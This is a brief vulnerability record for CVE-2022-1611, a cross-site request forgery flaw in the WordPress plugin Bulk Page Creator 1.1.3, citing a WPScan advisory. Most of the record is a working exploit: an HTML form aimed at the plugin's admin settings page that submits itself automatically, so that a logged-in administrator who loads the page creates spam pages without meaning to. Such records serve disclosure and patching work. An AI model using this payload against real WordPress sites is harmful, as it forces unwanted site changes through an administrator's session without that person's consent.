CVE: CVE-2022-1611

Name: Bulk Page Creator (bulk-page-creator)

Version: 1.1.3

Date: 2022-04-14 18:20:51

Advisory: https://wpscan.com/vulnerability/3843b867-7784-4976-b5ab-8a1e7d45618a

Type: CSRF

Exploit: 


<form action="https://example.com/wp-admin/options-general.php?page=sc_bpc_page" method="POST">
    <textarea name="sc-pages">0|-1|123|
1|-1|bbb|
2|-1|ccc|
3|-1|spam content|
</textarea>
    <input type="text" name="pcontent" value="2">
    <input type="text" name="posttype" value="publish">
    <input type="text" name="sc-pages-content" value="some post content">
</form>
<script>
    document.forms[0].submit();
</script>